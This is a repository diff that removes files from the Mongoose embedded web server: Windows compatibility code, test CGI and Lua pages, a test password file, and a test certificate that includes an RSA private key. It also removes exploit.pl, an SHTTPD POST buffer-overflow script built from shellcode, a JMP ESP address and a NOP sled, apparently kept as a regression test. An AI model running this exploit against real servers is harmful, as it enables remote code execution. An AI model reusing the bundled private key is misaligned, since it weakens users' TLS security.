-                      NULL, NULL);
-  if (strcmp(buf, buf2) != 0) {
-    wbuf[0] = L'\0';
-  }
-}
-
-#if defined(_WIN32_WCE)
-static time_t time(time_t *ptime) {
-  time_t t;
-  SYSTEMTIME st;
-  FILETIME ft;
-
-  GetSystemTime(&st);
-  SystemTimeToFileTime(&st, &ft);
-  t = SYS2UNIX_TIME(ft.dwLowDateTime, ft.dwHighDateTime);
-
-  if (ptime != NULL) {
-    *ptime = t;
-  }
-
-  return t;
-}
-
-static struct tm *localtime(const time_t *ptime, struct tm *ptm) {
-  int64_t t = ((int64_t) *ptime) * RATE_DIFF + EPOCH_DIFF;
-  FILETIME ft, lft;
-  SYSTEMTIME st;
-  TIME_ZONE_INFORMATION tzinfo;
-
-  if (ptm == NULL) {
-    return NULL;
-  }
-
-  * (int64_t *) &ft = t;
-  FileTimeToLocalFileTime(&ft, &lft);
-  FileTimeToSystemTime(&lft, &st);
-  ptm->tm_year = st.wYear - 1900;
-  ptm->tm_mon = st.wMonth - 1;
-  ptm->tm_wday = st.wDayOfWeek;
-  ptm->tm_mday = st.wDay;
-  ptm->tm_hour = st.wHour;
-  ptm->tm_min = st.wMinute;
-  ptm->tm_sec = st.wSecond;
-  ptm->tm_yday = 0; // hope nobody uses this
-  ptm->tm_isdst =
-    GetTimeZoneInformation(&tzinfo) == TIME_ZONE_ID_DAYLIGHT ? 1 : 0;
-
-  return ptm;
-}
-
-static struct tm *gmtime(const time_t *ptime, struct tm *ptm) {
-  // FIXME(lsm): fix this.
-  return localtime(ptime, ptm);
-}
-
-static size_t strftime(char *dst, size_t dst_size, const char *fmt,
-                       const struct tm *tm) {
-  (void) snprintf(dst, dst_size, "implement strftime() for WinCE");
-  return 0;
-}
-#endif
-
-// Windows happily opens files with some garbage at the end of file name.
-// For example, fopen("a.cgi    ", "r") on Windows successfully opens
-// "a.cgi", despite one would expect an error back.
-// This function returns non-0 if path ends with some garbage.
-static int path_cannot_disclose_cgi(const char *path) {
-  static const char *allowed_last_characters = "_-";
-  int last = path[strlen(path) - 1];
-  return isalnum(last) || strchr(allowed_last_characters, last) != NULL;
-}
-
-static int mg_stat(const char *path, struct file *filep) {
-  wchar_t wbuf[PATH_MAX] = L"\\\\?\\";
-  WIN32_FILE_ATTRIBUTE_DATA info;
-
-  filep->modification_time = 0;
-  to_unicode(path, wbuf + 4, ARRAY_SIZE(wbuf) - 4);
-  if (GetFileAttributesExW(wbuf, GetFileExInfoStandard, &info) != 0) {
-    filep->size = MAKEUQUAD(info.nFileSizeLow, info.nFileSizeHigh);
-    filep->modification_time = SYS2UNIX_TIME(
-        info.ftLastWriteTime.dwLowDateTime,
-        info.ftLastWriteTime.dwHighDateTime);
-    filep->is_directory = info.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
-    // If file name is fishy, reset the file structure and return error.
-    // Note it is important to reset, not just return the error, cause
-    // functions like is_file_opened() check the struct.
-    if (!filep->is_directory && !path_cannot_disclose_cgi(path)) {
-      memset(filep, 0, sizeof(*filep));
-    }
-  }
-
-  return filep->modification_time != 0;
-}
-
-static int mg_remove(const char *path) {
-  wchar_t wbuf[PATH_MAX];
-  to_unicode(path, wbuf, ARRAY_SIZE(wbuf));
-  return DeleteFileW(wbuf) ? 0 : -1;
-}
-
-static int mg_mkdir(const char *path, int mode) {
-  char buf[PATH_MAX];
-  wchar_t wbuf[PATH_MAX];
-
-  (void) mode;
-  mg_strlcpy(buf, path, sizeof(buf));
-  change_slashes_to_backslashes(buf);
-
-  (void) MultiByteToWideChar(CP_UTF8, 0, buf, -1, wbuf, ARRAY_SIZE(wbuf));
-
-  return CreateDirectoryW(wbuf, NULL) ? 0 : -1;
-}
-
-// Implementation of POSIX opendir/closedir/readdir for Windows.
-static DIR * opendir(const char *name) {
-  DIR *dir = NULL;
-  wchar_t wpath[PATH_MAX];
-  DWORD attrs;
-
-  if (name == NULL) {
-    SetLastError(ERROR_BAD_ARGUMENTS);
-  } else if ((dir = (DIR *) malloc(sizeof(*dir))) == NULL) {
-    SetLastError(ERROR_NOT_ENOUGH_MEMORY);
-  } else {
-    to_unicode(name, wpath, ARRAY_SIZE(wpath));
-    attrs = GetFileAttributesW(wpath);
-    if (attrs != 0xFFFFFFFF &&
-        ((attrs & FILE_ATTRIBUTE_DIRECTORY) == FILE_ATTRIBUTE_DIRECTORY)) {
-      (void) wcscat(wpath, L"\\*");
-      dir->handle = FindFirstFileW(wpath, &dir->info);
-      dir->result.d_name[0] = '\0';
-    } else {
-      free(dir);
-      dir = NULL;
-    }
-  }
-
-  return dir;
-}
-
-static int closedir(DIR *dir) {
-  int result = 0;
-
-  if (dir != NULL) {
-    if (dir->handle != INVALID_HANDLE_VALUE)
-      result = FindClose(dir->handle) ? 0 : -1;
-
-    free(dir);
-  } else {
-    result = -1;
-    SetLastError(ERROR_BAD_ARGUMENTS);
-  }
-
-  return result;
-}
-
-static struct dirent *readdir(DIR *dir) {
-  struct dirent *result = 0;
-
-  if (dir) {
-    if (dir->handle != INVALID_HANDLE_VALUE) {
-      result = &dir->result;
-      (void) WideCharToMultiByte(CP_UTF8, 0,
-          dir->info.cFileName, -1, result->d_name,
-          sizeof(result->d_name), NULL, NULL);
-
-      if (!FindNextFileW(dir->handle, &dir->info)) {
-        (void) FindClose(dir->handle);
-        dir->handle = INVALID_HANDLE_VALUE;
-      }
-
-    } else {
-      SetLastError(ERROR_FILE_NOT_FOUND);
-    }
-  } else {
-    SetLastError(ERROR_BAD_ARGUMENTS);
-  }
-
-  return result;
-}
-
-#ifndef HAVE_POLL
-static int poll(struct pollfd *pfd, int n, int milliseconds) {
-  struct timeval tv;
-  fd_set set;
-  int i, result;
-  SOCKET maxfd = 0;
-
-  tv.tv_sec = milliseconds / 1000;
-  tv.tv_usec = (milliseconds % 1000) * 1000;
-  FD_ZERO(&set);
-
-  for (i = 0; i < n; i++) {
-    FD_SET((SOCKET) pfd[i].fd, &set);
-    pfd[i].revents = 0;
-
-    if (pfd[i].fd > maxfd) {
-        maxfd = pfd[i].fd;
-    }
-  }
-
-  if ((result = select(maxfd + 1, &set, NULL, NULL, &tv)) > 0) {
-    for (i = 0; i < n; i++) {
-      if (FD_ISSET(pfd[i].fd, &set)) {
-        pfd[i].revents = POLLIN;
-      }
-    }
-  }
-
-  return result;
-}
-#endif // HAVE_POLL
-
-static void set_close_on_exec(SOCKET sock) {
-  (void) SetHandleInformation((HANDLE) sock, HANDLE_FLAG_INHERIT, 0);
-}
-
-int mg_start_thread(mg_thread_func_t f, void *p) {
-  return (long)_beginthread((void (__cdecl *)(void *)) f, 0, p) == -1L ? -1 : 0;
-}
-
-static HANDLE dlopen(const char *dll_name, int flags) {
-  wchar_t wbuf[PATH_MAX];
-  (void) flags;
-  to_unicode(dll_name, wbuf, ARRAY_SIZE(wbuf));
-  return LoadLibraryW(wbuf);
-}
-
-#if !defined(NO_CGI)
-#define SIGKILL 0
-static int kill(pid_t pid, int sig_num) {
-  (void) TerminateProcess(pid, sig_num);
-  (void) CloseHandle(pid);
-  return 0;
-}
-
-static void trim_trailing_whitespaces(char *s) {
-  char *e = s + strlen(s) - 1;
-  while (e > s && isspace(* (unsigned char *) e)) {
-    *e-- = '\0';
-  }
-}
-
-static pid_t spawn_process(struct mg_connection *conn, const char *prog,
-                           char *envblk, char *envp[], int fdin,
-                           int fdout, const char *dir) {
-  HANDLE me;
-  char *interp, full_interp[PATH_MAX], full_dir[PATH_MAX],
-       cmdline[PATH_MAX], buf[PATH_MAX];
-  FILE *fp;
-  STARTUPINFOA si;
-  PROCESS_INFORMATION pi = { 0 };
-
-  (void) envp;
-
-  memset(&si, 0, sizeof(si));
-  si.cb = sizeof(si);
-
-  // TODO(lsm): redirect CGI errors to the error log file
-  si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
-  si.wShowWindow = SW_HIDE;
-
-  me = GetCurrentProcess();
-  DuplicateHandle(me, (HANDLE) _get_osfhandle(fdin), me,
-                  &si.hStdInput, 0, TRUE, DUPLICATE_SAME_ACCESS);
-  DuplicateHandle(me, (HANDLE) _get_osfhandle(fdout), me,
-                  &si.hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS);
-
-  // If CGI file is a script, try to read the interpreter line
-  interp = conn->ctx->config[CGI_INTERPRETER];
-  if (interp == NULL) {
-    buf[0] = buf[1] = '\0';
-
-    // Read the first line of the script into the buffer
-    snprintf(cmdline, sizeof(cmdline), "%s%c%s", dir, '/', prog);
-    if ((fp = mg_fopen(cmdline, "r")) != NULL) {
-      fgets(buf, sizeof(buf), fp);
-      fclose(fp);
-      buf[sizeof(buf) - 1] = '\0';
-    }
-
-    if (buf[0] == '#' && buf[1] == '!') {
-      trim_trailing_whitespaces(buf + 2);
-    } else {
-      buf[2] = '\0';
-    }
-    interp = buf + 2;
-  }
-
-  if (interp[0] != '\0') {
-    GetFullPathNameA(interp, sizeof(full_interp), full_interp, NULL);
-    interp = full_interp;
-  }
-  GetFullPathNameA(dir, sizeof(full_dir), full_dir, NULL);
-
-  mg_snprintf(cmdline, sizeof(cmdline), "%s%s\"%s\\%s\"",
-              interp, interp[0] == '\0' ? "" : " ", full_dir, prog);
-
-  DEBUG_TRACE(("Running [%s]", cmdline));
-  if (CreateProcessA(NULL, cmdline, NULL, NULL, TRUE,
-        CREATE_NEW_PROCESS_GROUP, envblk, NULL, &si, &pi) == 0) {
-    cry(conn, "%s: CreateProcess(%s): %ld",
-        __func__, cmdline, ERRNO);
-    pi.hProcess = (pid_t) -1;
-  }
-
-  (void) CloseHandle(si.hStdOutput);
-  (void) CloseHandle(si.hStdInput);
-  (void) CloseHandle(pi.hThread);
-
-  return (pid_t) pi.hProcess;
-}
-#endif // !NO_CGI
-
-static int set_non_blocking_mode(SOCKET sock) {
-  unsigned long on = 1;
-  return ioctlsocket(sock, FIONBIO, &on);
-}
-#endif

build/ssl_cert.pem

@@ -1,50 +0,0 @@
------BEGIN RSA PRIVATE KEY-----
-MIIEogIBAAKCAQEAwONaLOP7EdegqjRuQKSDXzvHmFMZfBufjhELhNjo5KsL4ieH
-hMSGCcSV6y32hzhqR5lvTViaQez+xhc58NZRu+OUgEhodRBW/vAOjpz/xdMz5HaC
-EhP3E9W1pkitVseS8B5rrgJo1BfCGai1fPav1nutPq2Kj7vMy24+g460Lonf6ln1
-di4aTIRtAqXtUU6RFpPJP35PkCXbTK65O8HJSxxt/XtfoezHCU5+UIwmZGYx46UB
-Wzg3IfK6bGPSiHU3pdiTol0uMPt/GUK+x4NyZJ4/ImsNAicRwMBdja4ywHKXJehH
-gXBthsVIHbL21x+4ibsg9eVM/XioTV6tW3IrdwIDAQABAoIBACFfdLutmkQFBcRN
-HAJNNHmmsyr0vcUOVnXTFyYeDXV67qxrYHQlOHe6LqIpKq1Mon7O2kYMnWvooFAP
-trOnsS6L+qaTYJdYg2TKjgo4ubw1hZXytyB/mdExuaMSkgMgtpia+tB5lD+V+LxN
-x1DesZ+veFMO3Zluyckswt4qM5yVa04YFrt31H0E1rJfIen61lidXIKYmHHWuRxK
-SadjFfbcqJ6P9ZF22BOkleg5Fm5NaxJmyQynOWaAkSZa5w1XySFfRjRfsbDr64G6
-+LSG8YtRuvfxnvUNhynVPHcpE40eiPo6v8Ho6yZKXpV5klCKciodXAORsswSoGJa
-N3nnu/ECgYEA6Yb2rM3QUEPIALdL8f/OzZ1GBSdiQB2WSAxzl9pR/dLF2H+0pitS
-to0830mk92ppVmRVD3JGxYDRZQ56tlFXyGaCzJBMRIcsotAhBoNbjV0i9n5bLJYf
-BmjU9yvWcgsTt0tr3B0FrtYyp2tCvwHqlxvFpFdUCj2oRw2uGpkhmNkCgYEA03M6
-WxFhsix3y6eVCVvShfbLBSOqp8l0qiTEty+dgVQcWN4CO/5eyaZXKxlCG9KMmKxy
-Yx+YgxZrDhfaZ0cxhHGPRKEAxM3IKwT2C8/wCaSiLWXZZpTifnSD99vtOt4wEfrG
-+AghNd5kamFiM9tU0AyvhJc2vdJFuXrfeC7ntM8CgYBGDA+t4cZcbRhu7ow/OKYF
-kulP3nJgHP/Y+LMrl3cEldZ2jEfZmCElVNQvfd2XwTl7injhOzvzPiKRF3jDez7D
-g8w0JAxceddvttJRK9GoY4l7OoeKpjUELSnEQkf+yUfOsTbXPXVY7jMfeNL6jE6b
-qN7t3qv8rmXtejMBE3G6cQKBgGR5W2BMiRSlxqKx1cKlrApV87BUe1HRCyuR3xuA
-d6Item7Lx1oEi7vb242yKdSYnpApWQ06xTh83Y/Ly87JaIEbiM0+h+P8OEIg0F1a
-iB+86AcUX1I8KseVy+Np0HbpfwP8GrFfA5DaRPK7pXMopEtby8cAJ1XZZaI1/ZvZ
-BebHAoGAcQU9WvCkT+nIp9FpXfBybYUsvgkaizMIqp66/l3GYgYAq8p1VLGvN4v5
-ec0dW58SJrCpqsM3NP78DtEzQf9OOsk+FsjBFzDU2RkeUreyt2/nQBj/2mN/+hEy
-hYN0Zii2yTb63jGxKY6gH1R/r9dL8kXaJmcZrfSa3AgywnteJWg=
------END RSA PRIVATE KEY-----
------BEGIN CERTIFICATE-----
-MIIDBjCCAe4CCQCX05m0b053QzANBgkqhkiG9w0BAQQFADBFMQswCQYDVQQGEwJB
-VTETMBEGA1UECBMKU29tZS1TdGF0ZTEhMB8GA1UEChMYSW50ZXJuZXQgV2lkZ2l0
-cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
-A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
-IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
-AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
-akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
-kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
-kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
-N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
-uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
-oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
-plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
-P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
-W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
-5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
-SEGI4JSxV56lYg==
------END CERTIFICATE-----
------BEGIN DH PARAMETERS-----
-MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
-6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
------END DH PARAMETERS-----

build/test/.leading.dot.txt

@@ -1 +0,0 @@
-abc123

build/test/all_build_flags.pl

@@ -1,28 +0,0 @@
-#!/usr/bin/env perl
-
-@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
-my $num_flags = @flags;
-
-sub fail {
-	print "FAILED: @_\n";
-	exit 1;
-}
-
-my $platform = $ARGV[0] || "linux";
-
-for (my $i = 0; $i < 2 ** $num_flags; $i++) {
-	my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
-	my @combination = ();
-	for (my $j = 0; $j < $num_flags; $j++) {
-		push @combination, $flags[$j] if substr($bitmask, $j, 1);
-	}
-	my $defines = join(" ", map { "-D$_" } @combination);
-	my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
-	system($cmd) == 0 or fail "build failed: $_";
-	print "Build succeeded, flags: [$defines]\n";
-	system("perl test/test.pl basic_tests >/dev/null") == 0
-		or fail "basic tests";
-	print "Basic tests: OK\n";
-}
-
-print "PASS: All builds passed!\n";

build/test/bad.cgi

@@ -1,5 +0,0 @@
-#!/bin/sh
-
-echo "echoing bad headers: server must report status 500"
-exec 1>&2
-echo shit!!!

build/test/bad2.cgi

@@ -1,3 +0,0 @@
-#!/usr/bin/env perl
-
-print "Status: 302 Please pass me to the client\r\n\r\n";

build/test/dir with spaces/hello.cgi

@@ -1,3 +0,0 @@
-#!/usr/bin/env perl
-
-print "Content-Type: text/plain\n\nhello\n";

build/test/dir with spaces/桌面/index.html

@@ -1 +0,0 @@
-куку!

build/test/embed.c

@@ -1,182 +0,0 @@
-// Copyright (c) 2004-2009 Sergey Lyubka
-//
-// Permission is hereby granted, free of charge, to any person obtaining a copy
-// of this software and associated documentation files (the "Software"), to deal
-// in the Software without restriction, including without limitation the rights
-// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
-// copies of the Software, and to permit persons to whom the Software is
-// furnished to do so, subject to the following conditions:
-//
-// The above copyright notice and this permission notice shall be included in
-// all copies or substantial portions of the Software.
-//
-// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
-// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
-// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
-// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
-// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
-// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
-// THE SOFTWARE.
-//
-// Unit test for the mongoose web server. Tests embedded API.
-
-
-#include <stdlib.h>
-#include <stdio.h>
-#include <string.h>
-#ifndef _WIN32
-#include <unistd.h>
-#endif
-
-#include "mongoose.h"
-
-#if !defined(LISTENING_PORT)
-#define LISTENING_PORT "23456"
-#endif
-
-static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
-  "Content-Type: text/plain\r\n"
-  "Connection: close\r\n\r\n";
-
-static void test_get_var(struct mg_connection *conn,
-                         const struct mg_request_info *ri) {
-  char *var, *buf;
-  size_t buf_len;
-  const char *cl;
-  int var_len;
-
-  mg_printf(conn, "%s", standard_reply);
-
-  buf_len = 0;
-  var = buf = NULL;
-  cl = mg_get_header(conn, "Content-Length");
-  mg_printf(conn, "cl: %p\n", cl);
-  if ((!strcmp(ri->request_method, "POST") ||
-       !strcmp(ri->request_method, "PUT"))
-      && cl != NULL) {
-    buf_len = atoi(cl);
-    buf = malloc(buf_len);
-    /* Read in two pieces, to test continuation */
-    if (buf_len > 2) {
-      mg_read(conn, buf, 2);
-      mg_read(conn, buf + 2, buf_len - 2);
-    } else {
-      mg_read(conn, buf, buf_len);
-    }
-  } else if (ri->query_string != NULL) {
-    buf_len = strlen(ri->query_string);
-    buf = malloc(buf_len + 1);
-    strcpy(buf, ri->query_string);
-  }
-  var = malloc(buf_len + 1);
-  var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
-  mg_printf(conn, "Value: [%s]\n", var);
-  mg_printf(conn, "Value size: [%d]\n", var_len);
-  free(buf);
-  free(var);
-}
-
-static void test_get_header(struct mg_connection *conn,
-                            const struct mg_request_info *ri) {
-  const char *value;
-  int i;
-
-  mg_printf(conn, "%s", standard_reply);
-  printf("HTTP headers: %d\n", ri->num_headers);
-  for (i = 0; i < ri->num_headers; i++) {
-    printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
-  }
-
-  value = mg_get_header(conn, "Host");
-  if (value != NULL) {
-    mg_printf(conn, "Value: [%s]", value);
-  }
-}
-
-static void test_get_request_info(struct mg_connection *conn,
-                                  const struct mg_request_info *ri) {
-  int i;
-
-  mg_printf(conn, "%s", standard_reply);
-
-  mg_printf(conn, "Method: [%s]\n", ri->request_method);
-  mg_printf(conn, "URI: [%s]\n", ri->uri);
-  mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
-
-  for (i = 0; i < ri->num_headers; i++) {
-    mg_printf(conn, "HTTP header [%s]: [%s]\n",
-              ri->http_headers[i].name,
-              ri->http_headers[i].value);
-  }
-
-  mg_printf(conn, "Query string: [%s]\n",
-            ri->query_string ? ri->query_string: "");
-  mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
-  mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
-  mg_printf(conn, "Remote user: [%s]\n",
-            ri->remote_user ? ri->remote_user : "");
-}
-
-static void test_error(struct mg_connection *conn,
-                       const struct mg_request_info *ri) {
-  int status = (int) ri->ev_data;
-  mg_printf(conn, "HTTP/1.1 %d XX\r\n"
-            "Conntection: close\r\n\r\n", status);
-  mg_printf(conn, "Error: [%d]", status);
-}
-
-static void test_post(struct mg_connection *conn,
-                      const struct mg_request_info *ri) {
-  const char *cl;
-  char *buf;
-  int len;
-
-  mg_printf(conn, "%s", standard_reply);
-  if (strcmp(ri->request_method, "POST") == 0 &&
-      (cl = mg_get_header(conn, "Content-Length")) != NULL) {
-    len = atoi(cl);
-    if ((buf = malloc(len)) != NULL) {
-      mg_write(conn, buf, len);
-      free(buf);
-    }
-  }
-}
-
-static const struct test_config {
-  enum mg_event event;
-  const char *uri;
-  void (*func)(struct mg_connection *, const struct mg_request_info *);
-} test_config[] = {
-  {MG_NEW_REQUEST, "/test_get_header", &test_get_header},
-  {MG_NEW_REQUEST, "/test_get_var", &test_get_var},
-  {MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
-  {MG_NEW_REQUEST, "/test_post", &test_post},
-  {MG_HTTP_ERROR, "", &test_error},
-  {0, NULL, NULL}
-};
-
-static void *callback(enum mg_event event,
-                      struct mg_connection *conn) {
-  const struct mg_request_info *request_info = mg_get_request_info(conn);
-  int i;
-
-  for (i = 0; test_config[i].uri != NULL; i++) {
-    if (event == test_config[i].event &&
-        (event == MG_HTTP_ERROR ||
-         !strcmp(request_info->uri, test_config[i].uri))) {
-      test_config[i].func(conn, request_info);
-      return "processed";
-    }
-  }
-
-  return NULL;
-}
-
-int main(void) {
-  struct mg_context *ctx;
-  const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
-
-  ctx = mg_start(callback, NULL, options);
-  pause();
-  return 0;
-}

build/test/env.cgi

@@ -1,46 +0,0 @@
-#!/usr/bin/env perl
-
-use Cwd;
-use CGI;
-
-use vars '%in';
-CGI::ReadParse();
-
-print "Content-Type: text/html\r\n\r\n";
-
-print "<pre>\n";
-foreach my $key (sort keys %ENV) {
-	print "$key=$ENV{$key}\n";
-}
-
-print "\n";
-
-foreach my $key (sort keys %in) {
-	print "$key=$in{$key}\n";
-}
-
-print "\n";
-
-print 'CURRENT_DIR=' . getcwd() . "\n";
-print "</pre>\n";
-
-my $stuff = <<EOP ;
-<script language="javascript">
-	function set_val() {
-	}
-</script>
-<form method=get>
-	<input type=hidden name=a>
-	<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
-	<input type=submit value=get>
-</form>
-
-<form method=post>
-	<input type=text name=b>
-	<input type=submit value=post>
-</form>
-EOP
-
-#system('some shit');
-
-print $stuff;

build/test/exploit.pl

@@ -1,69 +0,0 @@
-#!/usr/bin/perl -w
-
-#  SHTTPD Buffer Overflow (POST)
-#  Tested on SHTTPD 1.34 WinXP SP1 Hebrew
-#  http://shttpd.sourceforge.net
-#  Codded By SkOd, 05/10/2006
-#  ISRAEL
-#
-#    details:
-#    EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
-#    EBX 00000004 , EIP 41414141 , EBP 41414141
-#    ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
-#    ESP 009EFC08 ASCII 41,"AA...AAA"
-
-
-use IO::Socket;
-
-sub fail(){
-syswrite STDOUT, "[-]Connect failed.\n";
-exit;
-}
-
-sub header()
-{
-print("##################################\n");
-print("SHTTPD (POST) Buffer Overflow.\n");
-print("[http://shttpd.sourceforge.net]\n");
-print("Codded By SkOd, 05/10/2006\n");
-print("##################################\n");
-}
-
-if (@ARGV < 1)
-{
-    &header();
-    print("Usage: Perl shttpd.pl [host]\n");
-    exit;
-}
-
-&header();
-$host=$ARGV[0];
-$port="80";
-$host=~ s/(http:\/\/)//eg;
-
-#win32_exec- CMD=calc Size=160 (metasploit.com)
-$shell =
-"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
-"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
-"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
-"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
-"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
-"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
-"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
-"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
-"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
-
-
-$esp="%73%C3%2A%4F";                 #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
-$buff=("%41"x8).$esp.("%90"x85).$shell;        #Shellcode+NOP=245
-
-print length($buff) . "\n";
-
-$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
-    syswrite STDOUT,"[+]Connected.\n";
-    print $sock "POST /$buff HTTP/1.1\n";
-    print $sock "HOST:$host\n\n";
-    syswrite STDOUT,"[+]Done.\n";
-close($sock);
-
-# milw0rm.com [2006-10-05]

build/test/hello.cgi

@@ -1,6 +0,0 @@
-#!/bin/sh
-
-echo "Content-Type: text/plain"
-echo
-
-echo $QUERY_STRING

build/test/hello.txt

@@ -1 +0,0 @@
-simple text file

build/test/new.mg.lua

@@ -1,43 +0,0 @@
-mg.write('HTTP/1.0 200 OK\r\n', 'Content-Type: text/plain\r\n', '\r\n')
-mg.write(os.date("%A"))
-
--- for k,v in pairs(_G) do mg.write(k, '\n') end
-
--- Open database
-local db = sqlite3.open('requests.db')
-
--- Setup a trace callback, to show SQL statements we'll be executing.
--- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-
--- Create a table if it is not created already
-db:exec([[
-  CREATE TABLE IF NOT EXISTS requests (
-    id INTEGER PRIMARY KEY AUTOINCREMENT,
-    timestamp NOT NULL,
-    method NOT NULL,
-    uri NOT NULL,
-    addr
-  );
-]])
-
-
--- Add entry about this request
-local stmt = db:prepare(
-  'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
-stmt:bind_values(mg.request_info.request_method,
-                 mg.request_info.uri,
-                 mg.request_info.remote_port)
-stmt:step()
-stmt:finalize()
-
--- Show all previous records
-mg.write('Previous requests:\n')
-stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
-while stmt:step() == sqlite3.ROW do
-  local v = stmt:get_values()
-  mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
-        .. v[4] .. ' ' .. v[5] .. '\n')
-end
-
--- Close database
-db:close()

build/test/page.lp

@@ -1,67 +0,0 @@
-HTTP/1.0 200 OK
-Content-Type: text/html
-
-<html>
-<head>
-<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
-</head>
-<body>
-
-
-<p>This is an example Lua server page served by
-<a href="http://code.google.com/p/mongoose">Mongoose web server</a>.
-Mongoose has Lua, Sqlite, and other functionality built in the binary.
-This example page stores the request in the Sqlite database, and shows
-all requests done previously.</p>
-<p> Today is <? mg.write(os.date("%A")) ?>
-
-<pre>
-<?
-  -- for k,v in pairs(_G) do mg.write(k, '\n') end
-
-  -- Open database
-  local db = sqlite3.open('requests.db')
-
-  -- Setup a trace callback, to show SQL statements we'll be executing.
-  -- db:trace(function(data, sql) mg.write('Executing: ', sql: '\n') end, nil)
-
-  -- Create a table if it is not created already
-  db:exec('PRAGMA encoding="UTF-8"; ')
-  db:exec([[
-    CREATE TABLE IF NOT EXISTS requests (
-      id INTEGER PRIMARY KEY AUTOINCREMENT,
-      timestamp NOT NULL,
-      method NOT NULL,
-      uri NOT NULL,
-      addr
-    );
-  ]])
-
-
-  -- Add entry about this request
-  local stmt = db:prepare(
-    'INSERT INTO requests VALUES(NULL, datetime("now"), ?, ?, ?);');
-  stmt:bind_values(mg.request_info.request_method,
-                   mg.request_info.uri,
-                   mg.request_info.remote_port)
-  stmt:step()
-  stmt:finalize()
-
-  -- Show all previous records
-  mg.write('Previous requests:\n')
-  stmt = db:prepare('SELECT * FROM requests ORDER BY id DESC;')
-  while stmt:step() == sqlite3.ROW do
-    local v = stmt:get_values()
-    mg.write(v[1] .. ' ' .. v[2] .. ' ' .. v[3] .. ' '
-          .. v[4] .. ' ' .. v[5] .. '\n')
-  end
-
-  -- Close database
-  db:close()
-?>
-</pre>
-
-This is an example on how to include files a-la SSI:
-<pre><? mg.write(io.open('dll.def'):read('*all')) ?></pre>
-
-</body></html>

build/test/passfile

@@ -1,3 +0,0 @@
-guest:mydomain.com:485264dcc977a1925370b89d516a1477
